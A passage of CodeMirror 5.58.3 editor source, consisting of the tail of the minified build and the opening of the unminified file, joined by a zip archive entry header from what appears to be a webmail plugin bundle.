e.anchorNode!=this.lastAnchorNode||e.anchorOffset!=this.lastAnchorOffset||e.focusNode!=this.lastFocusNode||e.focusOffset!=this.lastFocusOffset},i.prototype.pollSelection=function(){var e,t,n,r;null==this.readDOMTimeout&&!this.gracePeriod&&this.selectionChanged()&&(e=this.getSelection(),t=this.cm,X&&c&&this.cm.display.gutterSpecs.length&&function(e){for(var t=e;t;t=t.parentNode)if(/CodeMirror-gutter-wrapper/.test(t.className))return 1;return}(e.anchorNode)?(this.cm.triggerOnKeyDown({type:"keydown",keyCode:8,preventDefault:Math.abs}),this.blur(),this.focus()):this.composing||(this.rememberSelection(),n=Nl(t,e.anchorNode,e.anchorOffset),r=Nl(t,e.focusNode,e.focusOffset),n&&r&&h(t,function(){B(t.doc,fi(n,r),fe),(n.bad||r.bad)&&(t.curOp.selectionChanged=!0)})))},i.prototype.pollContent=function(){null!=this.readDOMTimeout&&(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=null);var e,t=this.cm,n=t.display,r=t.doc.sel.primary(),i=r.from(),r=r.to();if(0==i.ch&&i.line>t.firstLine()&&(i=W(i.line-1,A(t.doc,i.line-1).length)),r.ch==A(t.doc,r.line).text.length&&r.line<t.lastLine()&&(r=W(r.line+1,0)),i.line<n.viewFrom||r.line>n.viewTo-1)return!1;var o,l=i.line==n.viewFrom||0==(l=dr(t,i.line))?(e=D(n.view[0].line),n.view[0].node):(e=D(n.view[l].line),n.view[l-1].node.nextSibling),r=dr(t,r.line),n=r==n.view.length-1?(o=n.viewTo-1,n.lineDiv.lastChild):(o=D(n.view[r+1].line)-1,n.view[r+1].node.previousSibling);if(!l)return!1;for(var s=t.doc.splitLines(function(o,e,t,l,s){var n="",a=!1,u=o.doc.lineSeparator(),c=!1;function h(){a&&(n+=u,c&&(n+=u),a=c=!1)}function d(e){e&&(h(),n+=e)}for(;!function e(t){if(1==t.nodeType){var n=t.getAttribute("cm-text");if(n)d(n);else if(n=t.getAttribute("cm-marker"))(n=o.findMarks(W(l,0),W(s+1,0),(i=+n,function(e){return e.id==i}))).length&&(n=n[0].find(0))&&d(dt(o.doc,n.from,n.to).join(u));else if("false"!=t.getAttribute("contenteditable")&&(n=/^(pre|div|p|li|table|br)$/i.test(t.nodeName),/^br$/i.test(t.nodeName)||0!=t.textContent.length)){n&&h();for(var r=0;r<t.childNodes.length;r++)e(t.childNodes[r]);/^(pre|p)$/i.test(t.nodeName)&&(c=!0),n&&(a=!0)}}else 3==t.nodeType&&d(t.nodeValue.replace(/\u200b/g,"").replace(/\u00a0/g," "));var i}(e),e!=t;)e=e.nextSibling,c=!1;return n}(t,l,n,e,o)),a=dt(t.doc,W(e,0),W(o,A(t.doc,o).text.length));1<s.length&&1<a.length;)if(z(s)==z(a))s.pop(),a.pop(),o--;else{if(s[0]!=a[0])break;s.shift(),a.shift(),e++}for(var u=0,c=0,h=s[0],d=a[0],f=Math.min(h.length,d.length);u<f&&h.charCodeAt(u)==d.charCodeAt(u);)++u;for(var p=z(s),g=z(a),m=Math.min(p.length-(1==s.length?u:0),g.length-(1==a.length?u:0));c<m&&p.charCodeAt(p.length-c-1)==g.charCodeAt(g.length-c-1);)++c;if(1==s.length&&1==a.length&&e==i.line)for(;u&&u>i.ch&&p.charCodeAt(p.length-c-1)==g.charCodeAt(g.length-c-1);)u--,c++;s[s.length-1]=p.slice(0,p.length-c).replace(/^\u200b+/,""),s[0]=s[0].slice(u).replace(/\u200b+$/,"");r=W(e,u),l=W(o,a.length?z(a).length-c:0);return 1<s.length||s[0]||H(r,l)?(to(t.doc,s,r,l,"+input"),!0):void 0},i.prototype.ensurePolled=function(){this.forceCompositionEnd()},i.prototype.reset=function(){this.forceCompositionEnd()},i.prototype.forceCompositionEnd=function(){this.composing&&(clearTimeout(this.readDOMTimeout),this.composing=null,this.updateFromDOM(),this.div.blur(),this.div.focus())},i.prototype.readFromDOMSoon=function(){var e=this;null==this.readDOMTimeout&&(this.readDOMTimeout=setTimeout(function(){if(e.readDOMTimeout=null,e.composing){if(!e.composing.done)return;e.composing=null}e.updateFromDOM()},80))},i.prototype.updateFromDOM=function(){var e=this;!this.cm.isReadOnly()&&this.pollContent()||h(this.cm,function(){return E(e.cm)})},i.prototype.setUneditable=function(e){e.contentEditable="false"},i.prototype.onKeyPress=function(e){0==e.charCode||this.composing||(e.preventDefault(),this.cm.isReadOnly())||P(this.cm,yl)(this.cm,String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),0)},i.prototype.readOnlyChanged=function(e){this.div.contentEditable=String("nocursor"!=e)},i.prototype.onContextMenu=function(){},i.prototype.resetPosition=function(){},i.prototype.needsContentAttribute=!0;function o(e){this.cm=e,this.prevInput="",this.pollingFast=!1,this.polling=new ce,this.hasSelection=!1,this.composing=null}var Ol,Al,Dl,Wl,Hl;function l(e,t,r,n){Ol.defaults[e]=t,r&&(Al[e]=n?function(e,t,n){n!=ul&&r(e,t,n)}:r)}o.prototype.init=function(n){var e=this,r=this,i=this.cm,o=(this.createField(n),this.textarea);function t(e){if(!O(i,e)){if(i.somethingSelected())vl({lineWise:!1,text:i.getSelections()});else{if(!i.options.lineWiseCopyCut)return;var t=xl(i);vl({lineWise:!0,text:t.text}),"cut"==e.type?i.setSelections(t.ranges,null,fe):(r.prevInput="",o.value=t.text.join("\n"),le(o))}"cut"==e.type&&(i.state.cutIncoming=+new Date)}}n.wrapper.insertBefore(this.wrapper,n.wrapper.firstChild),j&&(o.style.width="0px"),L(o,"input",function(){w&&9<=v&&e.hasSelection&&(e.hasSelection=null),r.poll()}),L(o,"paste",function(e){O(i,e)||bl(e,i)||(i.state.pasteIncoming=+new Date,r.fastPoll())}),L(o,"cut",t),L(o,"copy",t),L(n.scroller,"paste",function(e){var t;Tn(n,e)||O(i,e)||(o.dispatchEvent?((t=new Event("paste")).clipboardData=e.clipboardData,o.dispatchEvent(t)):(i.state.pasteIncoming=+new Date,r.focus()))}),L(n.lineSpace,"selectstart",function(e){Tn(n,e)||T(e)}),L(o,"compositionstart",function(){var e=i.getCursor("from");r.composing&&r.composing.range.clear(),r.composing={start:e,range:i.markText(e,i.getCursor("to"),{className:"CodeMirror-composing"})}}),L(o,"compositionend",function(){r.composing&&(r.poll(),r.composing.range.clear(),r.composing=null)})},o.prototype.createField=function(e){this.wrapper=Sl(),this.textarea=this.wrapper.firstChild},o.prototype.screenReaderLabelChanged=function(e){e?this.textarea.setAttribute("aria-label",e):this.textarea.removeAttribute("aria-label")},o.prototype.prepareSelection=function(){var e,t=this.cm,n=t.display,r=t.doc,i=yr(t);return t.options.moveInputWithCursor&&(t=qn(t,r.sel.primary().head,"div"),r=n.wrapper.getBoundingClientRect(),e=n.lineDiv.getBoundingClientRect(),i.teTop=Math.max(0,Math.min(n.wrapper.clientHeight-10,t.top+e.top-r.top)),i.teLeft=Math.max(0,Math.min(n.wrapper.clientWidth-10,t.left+e.left-r.left))),i},o.prototype.showSelection=function(e){var t=this.cm.display;y(t.cursorDiv,e.cursors),y(t.selectionDiv,e.selection),null!=e.teTop&&(this.wrapper.style.top=e.teTop+"px",this.wrapper.style.left=e.teLeft+"px")},o.prototype.reset=function(e){var t,n;this.contextMenuPending||this.composing||((t=this.cm).somethingSelected()?(this.prevInput="",n=t.getSelection(),this.textarea.value=n,t.state.focused&&le(this.textarea),w&&9<=v&&(this.hasSelection=n)):e||(this.prevInput=this.textarea.value="",w&&9<=v&&(this.hasSelection=null)))},o.prototype.getField=function(){return this.textarea},o.prototype.supportsTouch=function(){return!1},o.prototype.focus=function(){if("nocursor"!=this.cm.options.readOnly&&(!Y||ne()!=this.textarea))try{this.textarea.focus()}catch(e){}},o.prototype.blur=function(){this.textarea.blur()},o.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0},o.prototype.receivedFocus=function(){this.slowPoll()},o.prototype.slowPoll=function(){var e=this;this.pollingFast||this.polling.set(this.cm.options.pollInterval,function(){e.poll(),e.cm.state.focused&&e.slowPoll()})},o.prototype.fastPoll=function(){var t=!1,n=this;n.pollingFast=!0,n.polling.set(20,function e(){n.poll()||t?(n.pollingFast=!1,n.slowPoll()):(t=!0,n.polling.set(60,e))})},o.prototype.poll=function(){var e=this,t=this.cm,n=this.textarea,r=this.prevInput;if(this.contextMenuPending||!t.state.focused||et(n)&&!r&&!this.composing||t.isReadOnly()||t.options.disableInput||t.state.keySeq)return!1;var i=n.value;if(i==r&&!t.somethingSelected())return!1;if(w&&9<=v&&this.hasSelection===i||C&&/[\uf700-\uf7ff]/.test(i))return t.display.input.reset(),!1;if(t.doc.sel==t.display.selForContextMenu){var o=i.charCodeAt(0);if(8203==o&&(r=r||"​"),8666==o)return this.reset(),this.cm.execCommand("undo")}for(var l=0,s=Math.min(r.length,i.length);l<s&&r.charCodeAt(l)==i.charCodeAt(l);)++l;return h(t,function(){yl(t,i.slice(l),r.length-l,null,e.composing?"*compose":null),1e3<i.length||-1<i.indexOf("\n")?n.value=e.prevInput="":e.prevInput=i,e.composing&&(e.composing.range.clear(),e.composing.range=t.markText(e.composing.start,t.getCursor("to"),{className:"CodeMirror-composing"}))}),!0},o.prototype.ensurePolled=function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)},o.prototype.onKeyPress=function(){w&&9<=v&&(this.hasSelection=null),this.fastPoll()},o.prototype.onContextMenu=function(e){var n,r,t,i,o=this,l=o.cm,s=l.display,a=o.textarea,u=(o.contextMenuPending&&o.contextMenuPending(),hr(l,e)),c=s.scroller.scrollTop;function h(){var e,t;null!=a.selectionStart&&(t="​"+((e=l.somethingSelected())?a.value:""),a.value="⇚",a.value=t,o.prevInput=e?"":"​",a.selectionStart=1,a.selectionEnd=t.length,s.selForContextMenu=l.doc.sel)}function d(){var e,t;o.contextMenuPending==d&&(o.contextMenuPending=!1,o.wrapper.style.cssText=r,a.style.cssText=n,w&&v<9&&s.scrollbars.setScrollTop(s.scroller.scrollTop=c),null!=a.selectionStart)&&((!w||v<9)&&h(),e=0,t=function(){s.selForContextMenu==l.doc.sel&&0==a.selectionStart&&0<a.selectionEnd&&"​"==o.prevInput?P(l,_i)(l):e++<10?s.detectingSelectAll=setTimeout(t,500):(s.selForContextMenu=null,s.input.reset())},s.detectingSelectAll=setTimeout(t,200))}u&&!U&&(l.options.resetSelectionOnContextMenu&&-1==l.doc.sel.contains(u)&&P(l,B)(l.doc,fi(u),fe),n=a.style.cssText,r=o.wrapper.style.cssText,u=o.wrapper.offsetParent.getBoundingClientRect(),o.wrapper.style.cssText="position: static",a.style.cssText="position: absolute; width: 30px; height: 30px;\n      top: "+(e.clientY-u.top-5)+"px; left: "+(e.clientX-u.left-5)+"px;\n      z-index: 1000; background: "+(w?"rgba(255, 255, 255, .05)":"transparent")+";\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",x&&(t=window.scrollY),s.input.focus(),x&&window.scrollTo(null,t),s.input.reset(),l.somethingSelected()||(a.value=o.prevInput=" "),o.contextMenuPending=d,s.selForContextMenu=l.doc.sel,clearTimeout(s.detectingSelectAll),w&&9<=v&&h(),q?(Ye(e),i=function(){k(window,"mouseup",i),setTimeout(d,20)},L(window,"mouseup",i)):setTimeout(d,50))},o.prototype.readOnlyChanged=function(e){e||this.reset(),this.textarea.disabled="nocursor"==e,this.textarea.readOnly=!!e},o.prototype.setUneditable=function(){},o.prototype.needsContentAttribute=!1,Al=(Ol=m).optionHandlers,Ol.defineOption=l,Ol.Init=ul,l("value","",function(e,t){return e.setValue(t)},!0),l("mode",null,function(e,t){e.doc.modeOption=t,yi(e)},!0),l("indentUnit",2,yi,!0),l("indentWithTabs",!1),l("smartIndent",!0),l("tabSize",4,function(e){bi(e),Vn(e),E(e)},!0),l("lineSeparator",null,function(e,r){if(e.doc.lineSep=r){var i=[],o=e.doc.first;e.doc.iter(function(e){for(var t=0;;){var n=e.text.indexOf(r,t);if(-1==n)break;t=n+r.length,i.push(W(o,n))}o++});for(var t=i.length-1;0<=t;t--)to(e.doc,r,i[t],W(i[t].line,i[t].ch+r.length))}}),l("specialChars",/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200c\u200e\u200f\u2028\u2029\ufeff\ufff9-\ufffc]/g,function(e,t,n){e.state.specialChars=new RegExp(t.source+(t.test("\t")?"":"|\t"),"g"),n!=ul&&e.refresh()}),l("specialCharPlaceholder",cn,function(e){return e.refresh()},!0),l("electricChars",!0),l("inputStyle",Y?"contenteditable":"textarea",function(){throw new Error("inputStyle can not (yet) be changed in a running editor")},!0),l("spellcheck",!1,function(e,t){return e.getInputField().spellcheck=t},!0),l("autocorrect",!1,function(e,t){return e.getInputField().autocorrect=t},!0),l("autocapitalize",!1,function(e,t){return e.getInputField().autocapitalize=t},!0),l("rtlMoveVisually",!a),l("wholeLineUpdateBefore",!0),l("theme","default",function(e){al(e),li(e)},!0),l("keyMap","default",function(e,t,n){t=Po(t),n=n!=ul&&Po(n);n&&n.detach&&n.detach(e,t),t.attach&&t.attach(e,n||null)}),l("extraKeys",null),l("configureMouse",null),l("lineWrapping",!1,fl,!0),l("gutters",[],function(e,t){e.display.gutterSpecs=ii(t,e.options.lineNumbers),li(e)},!0),l("fixedGutter",!0,function(e,t){e.display.gutters.style.left=t?ar(e.display)+"px":"0",e.refresh()},!0),l("coverGutterNextToScrollbar",!1,function(e){return Gr(e)},!0),l("scrollbarStyle","native",function(e){Kr(e),Gr(e),e.display.scrollbars.setScrollTop(e.doc.scrollTop),e.display.scrollbars.setScrollLeft(e.doc.scrollLeft)},!0),l("lineNumbers",!1,function(e,t){e.display.gutterSpecs=ii(e.options.gutters,t),li(e)},!0),l("firstLineNumber",1,li,!0),l("lineNumberFormatter",function(e){return e},li,!0),l("showCursorWhenSelecting",!1,vr,!0),l("resetSelectionOnContextMenu",!0),l("lineWiseCopyCut",!0),l("pasteLinesPerSelection",!0),l("selectionsMayTouch",!1),l("readOnly",!1,function(e,t){"nocursor"==t&&(kr(e),e.display.input.blur()),e.display.input.readOnlyChanged(t)}),l("screenReaderLabel",null,function(e,t){e.display.input.screenReaderLabelChanged(t=""===t?null:t)}),l("disableInput",!1,function(e,t){t||e.display.input.reset()},!0),l("dragDrop",!0,dl),l("allowDropFileTypes",null),l("cursorBlinkRate",530),l("cursorScrollMargin",0),l("cursorHeight",1,vr,!0),l("singleCursorHeightPerLine",!0,vr,!0),l("workTime",100),l("workDelay",100),l("flattenSpans",!0,bi,!0),l("addModeClass",!1,bi,!0),l("pollInterval",100),l("undoDepth",200,function(e,t){return e.doc.history.undoDepth=t}),l("historyEventDelay",1250),l("viewportMargin",10,function(e){return e.refresh()},!0),l("maxHighlightLength",1e4,bi,!0),l("moveInputWithCursor",!0,function(e,t){t||e.display.input.resetPosition()}),l("tabindex",null,function(e,t){return e.display.input.getField().tabIndex=t||""}),l("autofocus",null),l("direction","ltr",function(e,t){return e.doc.setDirection(t)},!0),l("phrases",null),Wl=(Dl=m).optionHandlers,Hl=Dl.helpers={},Dl.prototype={constructor:Dl,focus:function(){window.focus(),this.display.input.focus()},setOption:function(e,t){var n=this.options,r=n[e];n[e]==t&&"mode"!=e||(n[e]=t,Wl.hasOwnProperty(e)&&P(this,Wl[e])(this,t,r),N(this,"optionChange",this,e))},getOption:function(e){return this.options[e]},getDoc:function(){return this.doc},addKeyMap:function(e,t){this.state.keyMaps[t?"push":"unshift"](Po(e))},removeKeyMap:function(e){for(var t=this.state.keyMaps,n=0;n<t.length;++n)if(t[n]==e||t[n].name==e)return t.splice(n,1),!0},addOverlay:n(function(e,t){var n=e.token?e:Dl.getMode(this.options,e);if(n.startState)throw new Error("Overlays may not be stateful.");for(var r=this.state.overlays,n={mode:n,modeSpec:e,opaque:t&&t.opaque,priority:t&&t.priority||0},i=function(e){return e.priority},o=0,l=i(n);o<r.length&&i(r[o])<=l;)o++;r.splice(o,0,n),this.state.modeGen++,E(this)}),removeOverlay:n(function(e){for(var t=this.state.overlays,n=0;n<t.length;++n){var r=t[n].modeSpec;if(r==e||"string"==typeof e&&r.name==e)return t.splice(n,1),this.state.modeGen++,void E(this)}}),indentLine:n(function(e,t,n){"string"!=typeof t&&"number"!=typeof t&&(t=null==t?this.options.smartIndent?"smart":"prev":t?"add":"subtract"),mt(this.doc,e)&&gl(this,e,t,n)}),indentSelection:n(function(e){for(var t=this.doc.sel.ranges,n=-1,r=0;r<t.length;r++){var i=t[r];if(i.empty())i.head.line>n&&(gl(this,i.head.line,e,!0),n=i.head.line,r==this.doc.sel.primIndex)&&Dr(this);else{for(var o=i.from(),i=i.to(),l=Math.max(n,o.line),n=Math.min(this.lastLine(),i.line-(i.ch?0:1))+1,s=l;s<n;++s)gl(this,s,e);i=this.doc.sel.ranges;0==o.ch&&t.length==i.length&&0<i[r].from().ch&&zi(this.doc,r,new R(o,i[r].to()),fe)}}}),getTokenAt:function(e,t){return Ht(this,e,t)},getLineTokens:function(e,t){return Ht(this,W(e),t,!0)},getTokenTypeAt:function(e){e=F(this.doc,e);var t,n=Mt(this,A(this.doc,e.line)),r=0,i=(n.length-1)/2,o=e.ch;if(0==o)t=n[2];else for(;;){var l=r+i>>1;if((l?n[2*l-1]:0)>=o)i=l;else{if(!(n[2*l+1]<o)){t=n[2*l+2];break}r=1+l}}e=t?t.indexOf("overlay "):-1;return e<0?t:0==e?null:t.slice(0,e-1)},getModeAt:function(e){var t=this.doc.mode;return t.innerMode?Dl.innerMode(t,this.getTokenAt(e).state).mode:t},getHelper:function(e,t){return this.getHelpers(e,t)[0]},getHelpers:function(e,t){var n=[];if(Hl.hasOwnProperty(t)){var r=Hl[t],i=this.getModeAt(e);if("string"==typeof i[t])r[i[t]]&&n.push(r[i[t]]);else if(i[t])for(var o=0;o<i[t].length;o++){var l=r[i[t][o]];l&&n.push(l)}else i.helperType&&r[i.helperType]?n.push(r[i.helperType]):r[i.name]&&n.push(r[i.name]);for(var s=0;s<r._global.length;s++){var a=r._global[s];a.pred(i,this)&&-1==S(n,a.val)&&n.push(a.val)}}return n},getStateAfter:function(e,t){var n=this.doc;return Nt(this,(e=Ct(n,null==e?n.first+n.size-1:e))+1,t).state},cursorCoords:function(e,t){var n=this.doc.sel.primary(),e=null==e?n.head:"object"==typeof e?F(this.doc,e):e?n.from():n.to();return qn(this,e,t||"page")},charCoords:function(e,t){return $n(this,F(this.doc,e),t||"page")},coordsChar:function(e,t){return Jn(this,(e=_n(this,e,t||"page")).left,e.top)},lineAtHeight:function(e,t){return e=_n(this,{top:e,left:0},t||"page").top,gt(this.doc,e+this.display.viewOffset)},heightAtLine:function(e,t,n){var r=!1,i="number"==typeof e?(i=this.doc.first+this.doc.size-1,e<this.doc.first?e=this.doc.first:i<e&&(e=i,r=!0),A(this.doc,e)):e;return Yn(this,i,{top:0,left:0},t||"page",n||r).top+(r?this.doc.height-tn(i):0)},defaultTextHeight:function(){return or(this.display)},defaultCharWidth:function(){return lr(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(e,t,n,r,i){var o,l,s=this.display,a=(e=qn(this,F(this.doc,e))).bottom,u=e.left;t.style.position="absolute",t.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(t),s.sizer.appendChild(t),"over"==r?a=e.top:"above"!=r&&"near"!=r||(l=Math.max(s.wrapper.clientHeight,this.doc.height),o=Math.max(s.sizer.clientWidth,s.lineSpace.clientWidth),("above"==r||e.bottom+t.offsetHeight>l)&&e.top>t.offsetHeight?a=e.top-t.offsetHeight:e.bottom+t.offsetHeight<=l&&(a=e.bottom),u+t.offsetWidth>o&&(u=o-t.offsetWidth)),t.style.top=a+"px",t.style.left=t.style.right="","right"==i?(u=s.sizer.clientWidth-t.offsetWidth,t.style.right="0px"):("left"==i?u=0:"middle"==i&&(u=(s.sizer.clientWidth-t.offsetWidth)/2),t.style.left=u+"px"),n&&(r=this,l={left:u,top:a,right:u+t.offsetWidth,bottom:a+t.offsetHeight},null!=(l=Or(r,l)).scrollTop&&Er(r,l.scrollTop),null!=l.scrollLeft)&&Ir(r,l.scrollLeft)},triggerOnKeyDown:n(Zo),triggerOnKeyPress:n(Jo),triggerOnKeyUp:Qo,triggerOnMouseDown:n(rl),execCommand:function(e){if(Uo.hasOwnProperty(e))return Uo[e].call(null,this)},triggerElectric:n(function(e){wl(this,e)}),findPosH:function(e,t,n,r){for(var i=1,o=(t<0&&(i=-1,t=-t),F(this.doc,e)),l=0;l<t&&!(o=Ll(this.doc,o,i,n,r)).hitSide;++l);return o},moveH:n(function(t,n){var r=this;this.extendSelectionsBy(function(e){return r.display.shift||r.doc.extend||e.empty()?Ll(r.doc,e.head,t,n,r.options.rtlMoveVisually):t<0?e.from():e.to()},ge)}),deleteH:n(function(n,r){var e=this.doc.sel,i=this.doc;e.somethingSelected()?i.replaceSelection("",null,"+delete"):Io(this,function(e){var t=Ll(i,e.head,n,r,!1);return n<0?{from:t,to:e.head}:{from:e.head,to:t}})}),findPosV:function(e,t,n,r){for(var i=1,o=r,l=(t<0&&(i=-1,t=-t),F(this.doc,e)),s=0;s<t;++s){var a=qn(this,l,"div");if(null==o?o=a.left:a.left=o,(l=kl(this,a,i,n)).hitSide)break}return l},moveV:n(function(r,i){var o=this,l=this.doc,s=[],a=!this.display.shift&&!l.extend&&l.sel.somethingSelected();if(l.extendSelectionsBy(function(e){var t,n;return a?r<0?e.from():e.to():(t=qn(o,e.head,"div"),null!=e.goalColumn&&(t.left=e.goalColumn),s.push(t.left),n=kl(o,t,r,i),"page"==i&&e==l.sel.primary()&&Ar(o,$n(o,n,"div").top-t.top),n)},ge),s.length)for(var e=0;e<l.sel.ranges.length;e++)l.sel.ranges[e].goalColumn=s[e]}),findWordAt:function(e){var t=A(this.doc,e.line).text,n=e.ch,r=e.ch;if(t){for(var i=this.getHelper(e,"wordChars"),o=("before"!=e.sticky&&r!=t.length||!n?++r:--n,t.charAt(n)),l=Le(o,i)?function(e){return Le(e,i)}:/\s/.test(o)?function(e){return/\s/.test(e)}:function(e){return!/\s/.test(e)&&!Le(e)};0<n&&l(t.charAt(n-1));)--n;for(;r<t.length&&l(t.charAt(r));)++r}return new R(W(e.line,n),W(e.line,r))},toggleOverwrite:function(e){null!=e&&e==this.state.overwrite||(((this.state.overwrite=!this.state.overwrite)?re:Q)(this.display.cursorDiv,"CodeMirror-overwrite"),N(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==ne()},isReadOnly:function(){return!(!this.options.readOnly&&!this.doc.cantEdit)},scrollTo:n(function(e,t){Wr(this,e,t)}),getScrollInfo:function(){var e=this.display.scroller;return{left:e.scrollLeft,top:e.scrollTop,height:e.scrollHeight-An(this)-this.display.barHeight,width:e.scrollWidth-An(this)-this.display.barWidth,clientHeight:Wn(this),clientWidth:Dn(this)}},scrollIntoView:n(function(e,t){var n;null==e?(e={from:this.doc.sel.primary().head,to:null},null==t&&(t=this.options.cursorScrollMargin)):"number"==typeof e?e={from:W(e,0),to:null}:null==e.from&&(e={from:e,to:null}),e.to||(e.to=e.from),e.margin=t||0,null!=e.from.line?(t=e,Hr(n=this),n.curOp.scrollToPos=t):Fr(this,e.from,e.to,e.margin)}),setSize:n(function(e,t){function n(e){return"number"==typeof e||/^\d+$/.test(String(e))?e+"px":e}var r=this,i=(null!=e&&(this.display.wrapper.style.width=n(e)),null!=t&&(this.display.wrapper.style.height=n(t)),this.options.lineWrapping&&Un(this),this.display.viewFrom);this.doc.iter(i,this.display.viewTo,function(e){if(e.widgets)for(var t=0;t<e.widgets.length;t++)if(e.widgets[t].noHScroll){fr(r,i,"widget");break}++i}),this.curOp.forceUpdate=!0,N(this,"refresh",this)}),operation:function(e){return h(this,e)},startOperation:function(){return Xr(this)},endOperation:function(){return Yr(this)},refresh:n(function(){var e=this.display.cachedTextHeight;E(this),this.curOp.forceUpdate=!0,Vn(this),Wr(this,this.doc.scrollLeft,this.doc.scrollTop),ei(this.display),(null==e||.5<Math.abs(e-or(this.display))||this.options.lineWrapping)&&cr(this),N(this,"refresh",this)}),swapDoc:n(function(e){var t=this.doc;return t.cm=null,this.state.selectingText&&this.state.selectingText(),Si(this,e),Vn(this),this.display.input.reset(),Wr(this,e.scrollLeft,e.scrollTop),this.curOp.forceScroll=!0,b(this,"swapDoc",this,t),t}),phrase:function(e){var t=this.options.phrases;return t&&Object.prototype.hasOwnProperty.call(t,e)?t[e]:e},getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},Ke(Dl),Dl.registerHelper=function(e,t,n){Hl.hasOwnProperty(e)||(Hl[e]=Dl[e]={_global:[]}),Hl[e][t]=n},Dl.registerGlobalHelper=function(e,t,n,r){Dl.registerHelper(e,t,r),Hl[e]._global.push({pred:n,val:r})};var Fl,El="iter insert remove copy getEditor constructor".split(" ");for(Fl in p.prototype)p.prototype.hasOwnProperty(Fl)&&S(El,Fl)<0&&(m.prototype[Fl]=function(e){return function(){return e.apply(this.doc,arguments)}}(p.prototype[Fl]));return Ke(p),m.inputStyles={textarea:o,contenteditable:i},m.defineMode=function(e){m.defaults.mode||"null"==e||(m.defaults.mode=e),function(e,t){2<arguments.length&&(t.dependencies=Array.prototype.slice.call(arguments,2)),rt[e]=t}.apply(this,arguments)},m.defineMIME=function(e,t){it[e]=t},m.defineMode("null",function(){return{token:function(e){return e.skipToEnd()}}}),m.defineMIME("text/plain","null"),m.defineExtension=function(e,t){m.prototype[e]=t},m.defineDocExtension=function(e,t){p.prototype[e]=t},m.fromTextArea=function(t,n){var e;function r(){t.value=s.getValue()}if((n=n?ae(n):{}).value=t.value,!n.tabindex&&t.tabIndex&&(n.tabindex=t.tabIndex),!n.placeholder&&t.placeholder&&(n.placeholder=t.placeholder),null==n.autofocus&&(e=ne(),n.autofocus=e==t||null!=t.getAttribute("autofocus")&&e==document.body),t.form&&(L(t.form,"submit",r),!n.leaveSubmitMethodAlone)){var i=t.form,o=i.submit;try{var l=i.submit=function(){r(),i.submit=o,i.submit(),i.submit=l}}catch(e){}}n.finishInit=function(e){e.save=r,e.getTextArea=function(){return t},e.toTextArea=function(){e.toTextArea=isNaN,r(),t.parentNode.removeChild(e.getWrapperElement()),t.style.display="",t.form&&(k(t.form,"submit",r),n.leaveSubmitMethodAlone||"function"!=typeof t.form.submit||(t.form.submit=o))}},t.style.display="none";var s=m(function(e){return t.parentNode.insertBefore(e,t.nextSibling)},n);return s},(t=m).off=k,t.on=L,t.wheelEventPixels=ci,t.Doc=p,t.splitLines=Je,t.countColumn=ue,t.findColumn=me,t.isWordChar=Se,t.Pass=de,t.signal=N,t.Line=on,t.changeEnd=pi,t.scrollbarModel=Vr,t.Pos=W,t.cmpPos=H,t.modes=rt,t.mimeModes=it,t.resolveMode=ot,t.getMode=lt,t.modeExtensions=st,t.extendMode=at,t.copyState=ut,t.startState=ht,t.innerMode=ct,t.commands=Uo,t.keyMap=Oo,t.keyName=Eo,t.isModifierKey=Ho,t.lookupKey=Wo,t.normalizeKeyMap=Do,t.StringStream=g,t.SharedTextMarker=po,t.TextMarker=co,t.LineWidget=ao,t.e_preventDefault=T,t.e_stopPropagation=je,t.e_stop=Ye,t.addClass=re,t.contains=te,t.rmClass=Q,t.keyNames=ko,m.version="5.58.3",m});
PKh�\
�T�++0plugins/managesieve/codemirror/lib/codemirror.jsnu�[���// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// This is CodeMirror (https://codemirror.net), a code editor
// implemented in JavaScript on top of the browser's DOM.
//
// You can find some technical background for some of the code below
// at http://marijnhaverbeke.nl/blog/#cm-internals .

(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
  typeof define === 'function' && define.amd ? define(factory) :
  (global = global || self, global.CodeMirror = factory());
}(this, (function () { 'use strict';

  // Kludges for bugs and behavior differences that can't be feature
  // detected are enabled based on userAgent etc sniffing.
  var userAgent = navigator.userAgent;
  var platform = navigator.platform;

  var gecko = /gecko\/\d/i.test(userAgent);
  var ie_upto10 = /MSIE \d/.test(userAgent);
  var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(userAgent);
  var edge = /Edge\/(\d+)/.exec(userAgent);
  var ie = ie_upto10 || ie_11up || edge;
  var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : +(edge || ie_11up)[1]);
  var webkit = !edge && /WebKit\//.test(userAgent);
  var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(userAgent);
  var chrome = !edge && /Chrome\//.test(userAgent);
  var presto = /Opera\//.test(userAgent);
  var safari = /Apple Computer/.test(navigator.vendor);
  var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(userAgent);
  var phantom = /PhantomJS/.test(userAgent);

  var ios = !edge && /AppleWebKit/.test(userAgent) && /Mobile\/\w+/.test(userAgent);
  var android = /Android/.test(userAgent);
  // This is woefully incomplete. Suggestions for alternative methods welcome.
  var mobile = ios || android || /webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(userAgent);
  var mac = ios || /Mac/.test(platform);
  var chromeOS = /\bCrOS\b/.test(userAgent);
  var windows = /win/i.test(platform);

  var presto_version = presto && userAgent.match(/Version\/(\d*\.\d*)/);
  if (presto_version) { presto_version = Number(presto_version[1]); }
  if (presto_version && presto_version >= 15) { presto = false; webkit = true; }
  // Some browsers use the wrong event properties to signal cmd/ctrl on OS X
  var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));
  var captureRightClick = gecko || (ie && ie_version >= 9);

